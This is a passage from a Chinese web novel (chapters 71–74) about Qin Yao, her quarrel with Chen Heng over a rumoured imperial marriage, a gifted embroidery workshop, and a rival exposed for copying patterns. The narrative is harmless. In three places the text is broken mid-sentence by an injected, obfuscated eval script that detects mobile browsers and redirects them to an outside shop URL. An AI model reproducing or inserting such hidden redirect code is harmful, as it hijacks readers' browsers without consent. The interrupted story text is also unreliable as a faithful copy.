早在入京之前,秦瑶便对两人之事有了心理准备。 饶是如此,这一刻真的到来之时,她却发现自己还是无法接受。 “不过此事圣上应不会同意。”他缓缓道,“太子想把公主嫁给我,一则公主是他亲妹,与我可更紧密,二则也防我日后独大,毕竟驸马无实权。” 秦瑶艰难开口:“他是想借你谋略,又防着你,这种主君……你真的要追随?娶公主为妻?” 陈衡摇头:“此事还有转机,公主是圣上唯一的女儿,也才年至幼学,他真舍得,皇后也舍不得。” 秦瑶悬着的心稍稍放下了一些。 “倒是你。”陈衡睨了她一眼,冷着脸道,“左侯爷才见过承安君两面,就对承安君倾心不已,竟在圣上召见时开口求娶,我倒不知承安君何时长了本事。” 提起侯爷,秦瑶叹了口气,双手托起下巴,哀叹道:“也不知他突然发什么疯,你也瞧见了,他对我是那种男女之情吗?我看他就是想让我继续做他女儿的娘罢了!” “那也不一定。”陈衡也颇为愁怨,在他看来别的事都好解决,左侯爷却是个麻烦。 他这种大老粗,根本看不清自己的内心,也不屑去探究内心情感。 这妇人能替他生儿育女打理后院即可,其余情情爱爱在他心中一概不重要。 “若你明日到了侯府……”他皱眉,“不如明日我同你一道过去,好问清楚,再做打算。” 有他跟着,侯爷如果真发什么疯非要娶她,自己也好劝告。 他决不允许此事有其他可能。 71. 真假赐婚 夏夜蝉鸣。 如今已进入三伏天,纵使太阳落下,夜晚的风也只能送来阵阵热气。 秦瑶也焦躁起来,她拿了把蒲扇坐在院中,想着自己那新宅用不了几天便可搬进去,到时再去买些硝石制冰,一定凉快极了。 借住别人家,总归是不方便弄这些的。 这几日陈衡也并未再回陈家,陈母派人来问了好几次,就算装病也不见儿子回陈家。 她这才明白,儿子此次恐怕是下了决心了。 秦瑶往书房看了一眼,门窗大开,陈衡正在灯下读书。 他倒不嫌热。 秦瑶又大力扇起扇子。 “砰砰——”门环被人叩响。 正在院子里洒水的玉蕊放下木盆,不耐烦道:“这么晚了,谁啊?” 她打开门,见外边停了一辆华贵马车,敲门之人虽是下人装扮,衣裳布料却不像普通人家的下人,她顿时手足无措起来。 “请问这是陈衡大人的宅子吗?”对方问。 玉蕊回头向秦瑶投去求救目光,慌乱答道:“正是,请问客人是?” 她往马车里看了看,那车厢迟迟不见动静,也不知何人乘坐在此。 秦瑶也起身往门口走去。 “请问陈大人可否在家?”那人恭敬有礼,“我家主人有事与他相商。” “那便请……”玉蕊退后一步,让出路。 “你家主人是哪位?”秦瑶忙打断了她,笑盈盈上前来。 那人皱眉,似乎有难言之隐。 直到车帘掀开,里头露出一张今日刚见过面的脸来。 是嘉禾郡主。 “冒昧打扰了。”那下人紧皱眉头,道,“深夜来此,实不合规矩,可我家小主人非要来,我们做下人的拦不住。” 看来郡主的家风严格,这府中下人都颇懂礼数,可惜还是管不住女儿。 嘉禾郡主换了身男装短打,头发高高束起,用玉冠木簪固定,她下了车瞥了秦瑶一眼,手中折扇“唰”的打开,不等众人反应便跨步走进院中,四处打量起来。 丝毫不把秦瑶放在眼里。 见书房亮着光,嘉禾郡主一喜,收了折扇大摇大摆走了过去。 秦瑶只得请那下人也进来稍坐,自己跟着郡主去了书房。 “小陈大人!”嘉禾郡主也不顾陈衡正在专心致志看书,喜不自禁叫了起来。 陈衡抬头,见来人陌生,愣了一下才看出是嘉禾郡主。 他放下书,起身行礼:“郡主。” “快快起来。”嘉禾郡主赶忙上前扶他。 可陈衡却一动不动,垂眸道:“不知郡主深夜来此,有何事?” 此时秦瑶也进了书房。 嘉禾郡主回头看了她一眼,目光中闪过一丝厌恶:“这么晚了,怎么承安君也在此?” “郡主误会了。”秦瑶解释道,“我只是暂时借住。” “陛下不是赐了新宅子给你?难不成小陈大人你、你真喜欢她?竟不顾礼数孤男寡女共处一室?” 她今日本就知道陈衡在御前与侯爷争执之事,纵是有了准备,此刻也不免生气。 “我本来觉得,若是真喜欢,就允许你给她个名分!”她怒气冲冲瞪着秦瑶,“没想到你们竟私下在一处了!” 秦瑶一时语塞,竟忘了辩解。 只见陈衡收了礼,往后退了一步,不解道:“这与郡主有何关系?” 嘉禾郡主一急,几乎要落泪:“你还不知道吗?我皇伯父要给你赐婚,放眼满京能配得上你的,除了我还有谁?” 这下陈衡语塞。 秦瑶冲他翻了个白眼,道:“原来郡主心悦你陈公子。” 嘉禾郡主转过身就要冲她发难。 她忙摆摆手:“郡主!此事与我无关!我真的只是借住而已!” 郡主年纪毕竟不及她,多了份单纯,听了此话便问:“真的?” 秦瑶点点头:“既然这里没我什么事,我就先告退了……” “你留下!”陈衡及时叫住了她。 他虽对眼前这个郡主感到无语,却也不得不耐心劝解道:“郡主或是误会陛下了,陛下原要赐婚的是公主殿下,只是念及公主殿下年龄实在与在下无法相配,才作罢。” “谁说的!”嘉禾郡主撅起小嘴,摇头道,“你出宫后,我就去找了皇伯父,既然公主妹妹不合适,还有我啊!皇伯父也觉得我们是天赐良缘,还说过不了几日,就要给你我赐婚!” 秦瑶正往后退的脚停在了原地,动弹不得。 夏日热风袭来,她却如坠冰窟。 这下也不用去找皇后,推辞与公主的婚事了,眼下郡主是个合适对象。 她猛地抬头看向陈衡,想在他脸上看出些什么来。 陈衡眉头紧锁,一言不发。 接下来嘉禾郡主说了什么,秦瑶一个字都没听见,她只瞧见郡主越来越兴奋,手舞足蹈,离去时甚至冲自己笑了笑。 她是个有自知之明的人,皇家赐婚,她该退让。 可乡君,也绝不做妾! 想清楚了这一点,秦瑶从茫然中逐渐清醒过来,她默默出了房门,回自己屋子收拾起来。 甚至陈衡在她身后叫她,都未曾听见。 她入京也没带什么东西,只带了些随身衣物,而这些衣物以后也用不上了。 于是秦瑶只收拾了些银钱首饰,很快便出来了。 嘉禾郡主走了以后,大门紧闭。 陈衡站在门后,直盯着从屋里走出的身影,当目光落在她手中拎着的包袱上时,神色变了变。 “你要走?”他道。 “恭喜陈公子,喜得贵妻。”秦瑶咧着嘴笑,嘴角已快到耳根了。 “你在赌气。”他面色凝重,“这话说的早了些,圣旨没下,阿瑶不要胡乱猜测!” 秦瑶深吸了一口气,道:“怎么,还要非等圣旨下了,我才死心?” “即便如此,你也不用一走了之!”陈衡上前,一只手紧紧抓住她的手腕,“你知道,我予郡主,宛如陌生人般,若要我选共度一生之人,除了你,也别无他人。” “呵!”秦瑶冷笑,眼角似乎有一滴泪滑过,“公子此话何意?是想在你与郡主琴瑟和鸣之时,还要我为你守身如玉?” “你——”陈衡咬紧下唇,“你怎么能如此想?” 他想让她留在身边,即使圣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14294987|145921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旨不可违,也留在身边…… 可终究,这话他说不出来。 秦瑶直盯着他的眼睛,道:“那陈公子倒是说说,你怎么想?你要抗旨?还是要娶了郡主,再让我做妾,坐拥齐人之福?” “我陈衡何德何能,让乡君给我做妾?”陈衡目光炙热,“我们还同现在这样,不好吗?” 秦瑶环顾四周。 这院子,比起承安君府,小了一倍不止。 若此生她被困在这里,又同外室有何区别? 她缓缓摇了摇头:“我劝公子,若娶了妻,便真心待她,郡主碧玉年华,风华正茂,对你亦是真心,还望公子不要辜负了女子的一片心意。” 手腕间已被掐的麻木。 秦瑶奋力甩开他,伸手触碰门闩。 陈衡在她背后冷冷道:“你是要我抗旨?” “陈大人也可选择接旨。”她开门的动作顿了一下。 身后他的大手按在了门上:“那么今日你就别想出了这个门!” 秦瑶回头朝他看去,满眼震惊。 只见陈衡双目通红,怒气正盛,死死盯着自己。 她却不知,一向坚守内心规矩之人,还有如此冲动的一面。 看来自己从未真正了解他。 “你别忘了,我们是有婚书的!”他额头青筋突起,“明日我就向陛下呈上,让所有人都知道,你我已经成婚!” “那是欺君!”她苦笑道,“你娘说过,我们是无媒苟合,若陛下派人到江城找官媒一问,便可知你我之事作假!到时你如何应对?” 陈衡没了回应。 他从不做无万全准备之事,秦瑶戳中了他的死穴。 趁他愣神之际,她打开大门,毫不犹豫的走了出去。 所幸还不是太晚,京城治安良好,此时街巷还有一些人家在外乘凉。 秦瑶将包袱背在肩上,拿袖子擦去眼角泪水。 她努力睁大眼睛,不让泪水夺眶而出,却看着每家每户前亮着的灯笼,越来越模糊。 越靠近城中心,那些樊楼夜所越奢靡华贵。 她从未踏足过这些场所,待反应过来,人已在城中最豪华的客栈住下。 * 第二日一早,侯府派人来请秦瑶过去,却得到她出走的消息。 左侯爷又亲自到还在修缮的新府邸找了一番,还是未见她踪影。 他折返至陈衡处,又被人告知陈衡回了陈家。 如此折腾三番四次,他才终于在陈家堵住了这位爷。 “你把阿瑶妹子弄哪儿去了?”陈家西厢待客厅里,侯爷揪住他衣领问道。 陈衡神色恹恹,伸手拽开他道:“左侯爷用不着心急。” “你知道她在哪儿?”侯爷松了一口气,道,“我就知道,陈兄弟自然不会放着阿瑶妹子不管,任她到处乱跑。” 陈衡摇头:“在下不知,不过内城每晚都有禁卫巡逻,想必她不会有事的。” “啪——”左侯爷一掌拍裂了上好的梨花木桌角。 “哎呀!我的桌子!造孽啊!”一道尖锐的喊声从门外传来。 陈母听说左侯爷上门讨要秦瑶,快步冲到厅屋来。 72. 送份大礼 昨夜儿子突然回来,陈母高兴之余又怕出了什么事,找来他身边小厮予安,一问才知原来是与秦瑶吵架拌嘴。 再三追问之下,她得知嘉禾郡主有可能成了自己儿媳,只觉往后余生都顺畅了起来。 一听说左侯爷来寻人,她更是怕对方又拿秦瑶勾起儿子的心,慌忙前来阻止。 左侯爷看到陈母进来,眸光一亮,起身行礼:“您可算来了,快管管您这儿子,人丢了他也不上心,竟躲到您这里来了!” 陈母捂着心口,心疼道:“侯爷,我们这儿可供不起您这尊大佛,我儿更是和你要找的人八竿子打不着关系,您请回吧,可惜了我这桌子……” 左侯爷大手一挥:“不就是个桌子吗,明儿我给换上一套新的!” 陈母并不领情:“什么新的旧的,侯爷的东西我可要不起,人丢了侯爷不快去找,跑来问我们,我们哪儿知道?我给你作保,我儿与那乡君绝无任何关系!” 左侯爷翻了个白眼:“你自己问问你儿子,没关系?若真没关系,我也犯不着跑来问他!” “侯爷怕是还不知道吧?”陈母笑开了花,“我儿婚事已由陛下做了主,定下了嘉禾郡主!所以从今往后,还望侯爷别再在我们跟前提那乡君了。” 话音刚落,陈衡“噌”地起身。 “娘从何处听此谣言?”他蹙眉道,“此事还未有定论,切不可胡乱声张!万一被宫里听了去……” “对对对!”陈母打断他,“怪我多言,若被别有用心之人听到,恐坏了事!” 侯爷瞪圆了眼,不敢置信:“真的?若是如此,陈兄弟以后可别再阻挠我侯府的好事!既然你已有了婚配,那我便可再进宫求陛下赐婚。” “侯爷这是看上了乡君?”陈母大喜,“那先恭喜侯府了。” 左侯爷咧嘴笑了笑,道:“谢陈夫人,如此我便不打扰了,告辞!” 他临走颇有意味地瞥了一眼陈衡。 “留步!”陈衡暗暗咬牙,沉沉道,“侯爷可能还不知道,陈某与承安君早已结下秦晋之好,侯爷想娶她,怕是不可能了!” 左侯爷迅速转身,劈头盖脸对他一顿骂:“你们陈家人真怪了!人丢了不去找,反而在本侯这儿宣示起主权来了!本侯管你和她有没有婚约呢!我要的人,全京城谁敢跟我抢!” “我知道人在哪儿!”陈衡黑了脸。 他早派人跟着一路保护,谁知左侯爷轻轻几句,就把他气得说出来了。 左侯爷一个箭步上前揪住他衣领:“在哪儿?” 陈衡咬紧牙关不开口。 “你信不信我打你一拳!”侯爷举起拳头,“快说!” “殴打朝廷命官,侯爷这是想在陛下那里记上一笔!”陈衡丝毫不惧。 “侯爷放手!”陈母方才还得意的笑,此刻却变成了哭闹,“儿啊,你就死了这条心不行吗?你瞧瞧,侯爷与乡君多登对啊!你就遵从圣意,把人让给侯爷可好?” 陈衡听她如此劝说,一股怒气直冲头顶,甩开左侯爷往外走去。 “你去哪儿?”陈母在后头叫。 左侯爷忙跟上他的脚步:“别想跑!” “你还要不要找她?”陈衡急匆匆,边走边道。 他此刻只想快点逃离这个家,离开他娘。 左侯爷一喜:“我同你一起!” * 秦瑶一大早从客栈出来,神清气爽,一路走到她的新府邸。 府中已有多名匠人在做活了,原本杂草丛生的院子,移来了大石作假山,也颇具新气象。 屋内他人送来的各种家具,虽落了些灰尘,却已摆放整齐。 秦瑶当即决定就此住下。 曾经跟着她的几个丫鬟,属陈家之人,她未曾带来。 所以这会儿她挽起袖子,准备将这偌大的宅院洒扫一番。 正干活的匠人都开了眼界,纷纷玩笑道:“没想到朝中还有拿过扫帚的达官显贵,竟自己干起活来了!” 秦瑶也不理他们,埋头苦干,如此便可将其他烦恼事抛诸脑后。 只是没过一会儿,她那身光洁的缎子锦袍便沾染了灰尘,额上汗水将通红的脸颊浸了个透,再用袖子一擦汗,整个人如奴仆般灰扑扑的,黯然失色。 陈衡与左侯爷到来时,看到的就是如此画面。 “阿瑶妹子?”左侯爷犹豫了一下不敢相认,直到看清了才劝道,“你怎么不找些下人?这种粗活岂是乡君能做的?” 说罢他就要去夺过扫帚。 “都是人,有什么不能做的。”秦瑶低头继续扫着,不时拿袖子擦汗。 陈衡也皱眉:“那几个丫鬟没跟过来?” 秦瑶沉默不语,也未抬头看他一眼。 “你别做了,我来找你是有大好事!”侯爷偷瞄了陈衡一眼,目光揶揄,“这儿有外人在,不好说,你快收拾一下,跟我到侯府一趟。” 秦瑶停了动作:“什么好事?” 莫不是和娇娇有关?才需到侯府去? 左侯爷又看了陈衡一眼,从怀中摸出一张契书,兴奋道:“也不怕别人知道,你快看看,这是什么?” 秦瑶抬眼一看,怔了怔。 竟是海棠绣坊的买契! “昨日我听娇娇说,你跟她要那几幅什么画谱,是为了海棠绣坊。”他得意道,“所以我就把这绣坊买下了!不过这契书我不能代为签字,还得请你过府一趟,相关人等已在侯府等候多时了。” 秦瑶吃了一惊,问道:“侯爷的意思是,这绣坊给我?” 左侯爷点头憨笑:“经陈兄弟提点,我也想明白了,既然是我一头热,还得讨得姑娘欢心方可,否则空口白牙的,哪个姑娘愿意嫁我!” 陈衡面色越发凝重。 以他的猜度,左侯爷只是想找个继室打理侯府,又不是非秦瑶不可。 他以为有了自己阻挠,左侯爷或许会觉得麻烦,再另寻他人。 如今好像起了反作用。 “……这礼太过厚重,虽是侯爷一番好意,恕阿瑶不能接受!”她坚决道。 若接了此礼,岂不明摆着告诉所有人,她愿意嫁去侯府? 左侯爷把契书往她手里塞,一脸为难:“你看这,买都买了,钱都给了,就剩这份买契没签……如今再不要了,那绣坊东家也不会退钱啊!” 不等秦瑶回答,陈衡一把夺过那契书,撕了个粉碎。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14304729|145921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你……陈兄弟,你不让就不让,也不必把这契书撕了吧!”左侯爷知他心中已然是急了,反而并不生气,笑嘻嘻道,“无妨,反正也还没签订,大不了待会去了侯府再写一份。” 秦瑶冷了脸,手中扫帚往地上一扔,对左侯爷道:“去侯府。” 就算是拒绝,也该她自己做主,凭什么让他干涉了去! 左侯爷大喜:“阿瑶妹子这是答应了?这就走吧,绣坊一干人等都在侯府等了一上午了!” 秦瑶阴沉着一张脸,跟左侯爷一道出门。 她不会收下这份大礼,既然侯爷已经买下,何不交给娇娇,也算是她日后名下的一份嫁妆产业。 娇娇年岁还小,这绣坊自己可代为打理。 如此一来,也不算拂了侯爷好意,叫他为难。 如此想着,却听陈衡在身后沉沉道:“若你敢接,我定抗旨。” 秦瑶忍不住回头:“公子如今倒想起说这话,可惜晚了,你抗旨不抗旨是遵从自己心意,又何须以此来威胁我?” 此话如同当头一棒,令他僵在原地。 * 到了侯府,果然前厅已坐满了人。 秦瑶先借了地方重新梳洗一番,换了干净衣裳,才又出来见人。 海棠绣坊的东家带着掌柜等人,又请来官府见证之人,把那契书又写了两份。 掌柜见到秦瑶,一下认出了正是那日的客人,震惊道:“原来是小人有眼不识泰山,东家,这位便是那日在店里买断纹样图案之人。” “承安君果然见多识广,竟能识得那纹样原是抄别家的。”东家赞道,“如此我便放心将这绣坊交给你了。” “怎么,已有人找来?”她有些吃惊。 东家叹了口气:“那西市街坊有一妇人,绣活出众,自己常在家接些散活,咱们这一行新出了什么纹样,必是很快流传到行内各家眼前,这妇人见了那纹样,便找上门将自己绣的拿来比对。” 众人竖起耳朵听得认真,不禁问:“结果如何?” “那妇人拿来的绣样已十分陈旧,据说是她娘活着时亲手所绣,她一直带在身边以作念想。”东家摇头道,“谁真谁假,自然有所分辨。” 这东家名下产业多,吃了亏后又觉得绣坊对于他是隔行如隔山,正巧侯爷上门高价求购,他便顺水推舟,把这绣坊卖了。 他将买契摆在秦瑶面前。 “诸位且等等。”秦瑶道。 左侯爷大手一挥:“还等什么,阿瑶妹子,这绣坊以后就是你的了。” 秦瑶往门外看去:“我已吩咐人去叫小姐过来,这契书还是要侯府小姐来与你们签订。” “娇娇?”左侯爷问道,“她才多大,管不来这么大的绣坊,况且这本就是要送予你的。” 秦瑶笑道:“无功不受禄,侯爷,以后海棠绣坊就是娇娇的嫁妆,她若不会打理,不是还有我吗?况且她的本事,你也是见过的。” 左侯爷想起女儿那本精美的画册。 他虽不懂,却也觉得女儿精于此道。 见秦瑶已铁了心,他也不是那纠缠不休之人,便道:“也好,若有阿瑶妹子代为打理,我这礼也算是送出去了。” 73. 被人识破 签好了契书,这海棠绣坊算是彻底易了主。 原来那东家谢过侯府,与其他人等一同告辞,独留下掌柜交接。 于是秦瑶带着娇娇来到了绣坊。 海棠绣坊名声在外,秦瑶上回只是进了前街一个铺子而已,此次由掌柜的一一引领介绍,她才后知后觉这绣坊究竟有多大。 难怪那街口还立了牌楼,整整一条巷左右两侧皆是绣坊各处不同场所,里头绣娘不说上百也有六七十余人,与几位教习师傅共同吃住在此,平日里跟着学习各种针法,若绣坊有活也一同赶工。 秦瑶并未打算驱散这些人,再另寻人。 所以她让掌柜帮忙,把这些人聚集起来,也好见见新东家。 这条巷子是断尾巷,尾部有一所大院子,与其他街巷并不相通。 那些绣娘就住在这儿,经人一唤很快聚齐了。 掌柜的将秦瑶与娇娇请至院子空旷处,笑道:“所有人全在这儿了。” 绣娘们被规训的很好,个个按顺序站好,也不多言。 她们身着普通白色布衣,头发皆挽了统一发髻,十分整齐。 另有四五个妇人站在一侧,不同打扮,看来便是这些绣娘的师傅了。 掌柜将一些人的身契交给秦瑶:“我们这儿有些人是父母送来学艺的,交了学费,随时可走,有些人则是卖身到此,算是绣坊的仆人了,前街铺子里那些小二也是如此情形,他们如何安排,要不要遣散,东家可自行决定。” “东家,我们这儿都是好手!”一师傅鼓起勇气道,“可千万别遣散我们。” 这现成的人手,秦瑶自然不打算遣散她们。 她笑道:“大家放心,我们既已接手,也不会再大动干戈,诸位可安心在此做活。” 众人一直严肃的神情顿时放松了下来。 娇娇在旁拉了下秦瑶的手,压低声音问道:“此处好像没有画绣谱的先生。” 秦瑶放眼望去,也疑惑道:这么大的绣坊,不会连个作画之人都养不起吧? 她转头问掌柜:“我上回来,见铺子里图案不少,更不乏精巧新奇的,不知这绣谱先生何在?” “这……”掌柜面露难色,“不瞒东家,这绣坊原是有的,只不过是个女子……” “女子又如何?”娇娇撇撇嘴道,“女子就不能画绣谱?” 掌柜忙拱手道:“小姐误会小人了,此绣坊名海棠,正是因那画谱女子叫海棠,只是后来她嫁了人,夫家也不再允许她做这些事了,如今店里有的图案纹样,大多是她当初留下的手稿,还有一些便是时下流行的。” 秦瑶有些瞠目结舌,就凭那位海棠姑娘所留,海棠绣坊就以京城第一存活至今? 身边的娇娇逐渐兴奋起来,摇着秦瑶的手直晃。 看来这行却是人才稀少,她将大有所为。 秦瑶又说了几句,准备解散大家之时,院中闯进一个急匆匆的身影。 一道熟悉的声音响起:“掌柜的,为何把我辞了?” 秦馠气冲冲走进来,见两个熟悉的身影站在院子中间,霎时一愣。 掌柜快步上前拦住她,小声道:“这位绣娘,绣坊换了主,还请另寻高处。” 秦馠将目光落在秦瑶和娇娇身上。 “新主就是她们?”她不屑冷哼,“哼,原来就是这两位把我辞了?如此有眼无珠之人还要接手绣坊,真是笑话!莫不是怕我手艺太好,风头压过她们?” 掌柜急得摇头:“快走吧!” 他暗自焦急,这事也怪自己,只派了个人去跟秦姑娘说了一声,往后不用来了,却没交代清楚前因后果。 秦馠今日一大早被宫中良妃责难,说自己拿了尚服局现成的纹样来诓骗娘娘,往后再不会召她进宫。 她还以为自己运道不好,正巧抄了宫里已有还未流向民间的图样。 后脚海棠绣坊就来告知她被辞退了。 秦馠本就无处撒气,便想着来绣坊问个清楚,结果一到这儿就发现老熟人买下了绣坊,做了新东家。 所以她理所当然认为,是这她们故意要撵走自己。 “你们瞧瞧,新东家可不是什么厚道之人!”秦馠不顾掌柜阻拦,向在场绣娘大喊,“今日我能被她们无故撵走,明日指不定轮到你们谁呢!” 人群中顿时又不安起来。 “你别再这儿瞎喊了!”掌柜气得一跺脚,道,“让你走的是我们东家,不是这新东家!” “我不信!”秦馠梗着脖子,“我绣的活儿也算给绣坊带来了不少盈利,你们东家还曾求我进绣坊做师傅!若不是我当初另有他事,今日师傅这一列照样有我的位置!” 娇娇要上前辩解,被秦瑶拦住了。 掌柜的见她油盐不进,遂板起脸退后一步,站直道:“既然你不听劝,这辞退缘由,我可要当众说出来了!” 秦馠双臂抱胸,鼻孔朝天:“你说,我倒要听听是什么缘由!” 掌柜无奈摇头,道:“你还有脸说,你那纹样分明是他人所作!” “你……”秦馠脸上闪过一丝慌乱,道,“你莫要胡说!” 她看看秦瑶,瞬间明白了。 一定是她,她也知上一世何种纹样流传于世,若说自己拿他人所作,也只有秦瑶会想到此! “该不会是为了赶我走,故意诬陷吧!”秦馠稳住心神。 “诬陷?”一向正直的掌柜被人如此说,不由急得面红耳赤,“那原主看到我们绣坊出品的纹样后,亲自拿了昔日所绣旧图来此!与你所绣一模一样!害我当场恨不得找个地缝钻进去!” 人群议论纷纷。 秦馠刚稳住的心神,又慌乱起来。 这抄袭本就不是长久之计,她也没想到自己那么不走运,所绣图样竟统统被人识破。 她还是硬着头皮,把目光投向秦瑶,恨恨道:“不会的!那纹样确是我亲手所绣,一定是你、你们合起来诓骗我!” “怎么,难道还要把原主叫来,让你亲自看上一眼才肯罢休?”掌柜道。 众人见掌柜坦荡,心中便信了十分。 “秦绣娘,你还是走吧!往后安心做个绣娘,把活做好,别再整什么新图样了!”有人嘲讽道。 秦瑶羞红了脸,更不想就此罢休! 她就不信自己会如此倒霉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14321246|145921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,连续两次被人识破! 这一定是秦瑶的主意! “好啊,既然如此,烦请掌柜把原主叫来,我们当面对峙!”她豁出去了。 掌柜点头:“那就如秦绣娘所愿!” 他立即派人去请了那妇人。 一时之间,海棠绣坊炸开了锅,这消息传得人尽皆知。 秦瑶和娇娇被请进了堂屋,这天气炎热,再在院里站下去,恐人都要晒晕了。 可得了消息来看热闹之人,却在院中越站越多。 那些绣娘也不愿离去,纷纷找个阴凉屋檐躲着,只等原主上门,好戏开场。 秦馠见两人并不慌张,反而镇静自若进屋喝茶去了,心中更为慌乱。 可惜此时若想退出,为时已晚。 掌柜已去铺子里拿来了她绣的纹样,摆在院子中间榻几上。 所幸大家没白等,不出半个时辰,那妇人便拿着自己手中的旧纹样来了。 她哪见过这等场面,见院子里人头攒动,整个人也畏畏缩缩起来。 秦馠一见她此等神态,不由又有了底气。 如此农妇哪能绣出那样精巧的纹样? “就是你,诬告我拿了你的纹样?”她居高临下道。 那妇人更是吓得不敢开口。 掌柜将她带至榻几旁,指着那上方纹样,道:“快把你的拿出来,摆在此处,比对一番。” 妇人颤颤巍巍:“不是已经比对过了?莫不是东家又不认了?” 她在市井,见过不少原主反被诬陷这种事。 掌柜摇头:“自然是认的,只是这位绣娘坚称这纹样是她所作,所以叫你来只是为了再比对一番。” 众目睽睽之下,妇人从怀中将一方手帕取出。 这手帕原应是白色,如今却陈旧的发黄。 众人纷纷探头去看,果然见手帕上的纹样与桌上崭新料子上的纹样,一模一样。 “原来秦绣娘真是拿了他人所作!” 秦馠倒吸了一口凉气! 若这帕子布料崭新也好,她大可说是对方抄了自己。 可她万万没想到,这陈旧料子打了她个措手不及! 掌柜抬头,瞥了她一眼:“如何?秦绣娘可心服口服?” 秦馠面色苍白,朝堂屋看了一眼。 自始至终,里边的两个人未曾出来。 她已无脸在这儿待下去,抬步匆匆往堂屋方向走去。 “你这背后一手倒是高明得很!”秦馠朝屋内喊道,“我已知宫中是你送了图案,害我失了娘娘恩宠,这手帕做旧,怕也是你想出来的吧!真是好手段!” 娇娇忍不住冲了出来,道:“多行不义必自毙!这道理你都不懂,却把一切过错推到他人身上!试问若是你只凭自己手艺,又何惧别人什么手段!” 秦馠伸出双手,默默看着手指上磨出的茧子。 她愤然收回手! 凭什么她们两人能享荣华富贵,自己却只能靠着这双手过苦日子! 远处飘来一片乌云,遮了烈日。 秦馠垂下眼眸。 这么久了,终于要下雨了。 74. 表明心意 绣坊一切打理妥当,秦瑶又选了重新开业的黄道吉日,这才送娇娇回侯府。 她决定以后常带娇娇来此,跟着掌柜学打理生意,一是增长见识,二则将来嫁人后无法常来,若熟知其中运转,也不至于被底下人糊弄。 可惜那掌柜是前东家的家仆,自己还得想法子再找个熟手。 到了侯府门口,她怕再见到左侯爷,下了马车后便推脱不再进去。 娇娇掩嘴偷笑:“姑姑是怕见到我爹?” 秦瑶拧了眉头,蹲下身子认真问道:“娇娇,你爹到底怎么想的?他想续弦这大把贵女任他挑,定会把侯府打理的井井有条。” 娇娇摇了摇头:“说起来,此事也不算他的意思,是祖母想让你进门,亲上加亲。” “这不是胡闹吗!”秦瑶登时跳了起来,“娶亲虽听从长辈安排,可也得随了自己心意不是?” 不过她心里还是松了一口气,只要左侯爷对自己不是那种感情便好。 “我也想姑姑再做我娘。”娇娇小声道。 秦瑶弯下腰,拉住她的小手:“那娇娇是想要我,还是想要一个与父亲也琴瑟和鸣的娘?” 娇娇低头想了半晌。 “人不能因为一己私欲,强加他人选择,不然若以后我与你爹过的真不幸福,整日里吵闹,把家里弄得鸡飞狗跳,你愿意过这种日子吗?”她问。 娇娇想起很久之前,村里有几家大人总是争吵打闹,那些人家的孩子们总在夜晚偷偷逃出来,坐在田垄上遥望着月亮,不愿回家。 她叹了一口气,道:“那还是算了,说起来,姑姑和、和陈公子还好吗?” 提起陈衡,秦瑶的心又被一团乱麻塞满。 “人小鬼大的!”她嗔怨道,“你多画一些新绣谱才是正事,这种事不准小鬼参与!” 已忙了一日,她还惦记自己的府邸。 送娇娇回府后,秦瑶便在街上买了些常用的物件,回了新府。 她原想着这屋里虽脏乱了些,先打扫一下还能住。 此刻天空已是乌云密布,府中那些做活的匠人都已散工,回了家。 不料当她走进大门,却吓了一跳。 眼前的宅院变得一尘不染。 杂草被人除了,翻了土撒上新种子,正厅门口已清扫过的台阶两侧,摆上了一盆盆鲜花,争芳斗艳,生机勃勃。 她听到后院有动静,便走了进去。 “这边!动作快点!”左侯爷正亲自指挥着一些下人,“这个屋子还未打扫,来人把这儿收拾了!” 秦瑶为躲避他,连侯府大门都未进去,没想到却在这儿又见上了。 “阿瑶妹妹回来了?”左侯爷一贯热情迎了上来。 她赶忙道谢:“侯爷有心,我都不知该怎么感谢才好。” “什么谢不谢的,你我之间还用如此?”他摆摆手,指着众人道,“我们侯府本就人少,不用这么多下人伺候,这些人往后就留在你府上,你随意吩咐。” “这怎么成?”秦瑶惊讶之余还有些许感动,“侯府老的老,小的小,正是需要人悉心照料的时候,你把这些人分出来给我,余下的岂能做到尽心尽力?” “都是自家奴仆,无碍!”左侯爷大手一挥,喊众人过来集合,“都给本侯听着,以后承安君就是你们的主人!都给我小心伺候着!若做得好,侯府重重有赏!” 侯府内院用人,都是家生子,知侯府向来大方,赏赐颇丰,于是也不再有别的心思,更卖力打扫起来。 秦瑶怎肯接受他的馈赠,推辞道:“明日我便上街找人牙买些家丁,侯爷的好意我心领了,这人还望侯爷带回去。” “为何?”侯爷瞪大双眼,不解道,“这些人都是干活伺候人的好手,你买些新的用不惯!” 秦瑶叹了口气,在某方面他好似十分迟钝。 “不如侯爷同我到前厅坐坐?”她道。 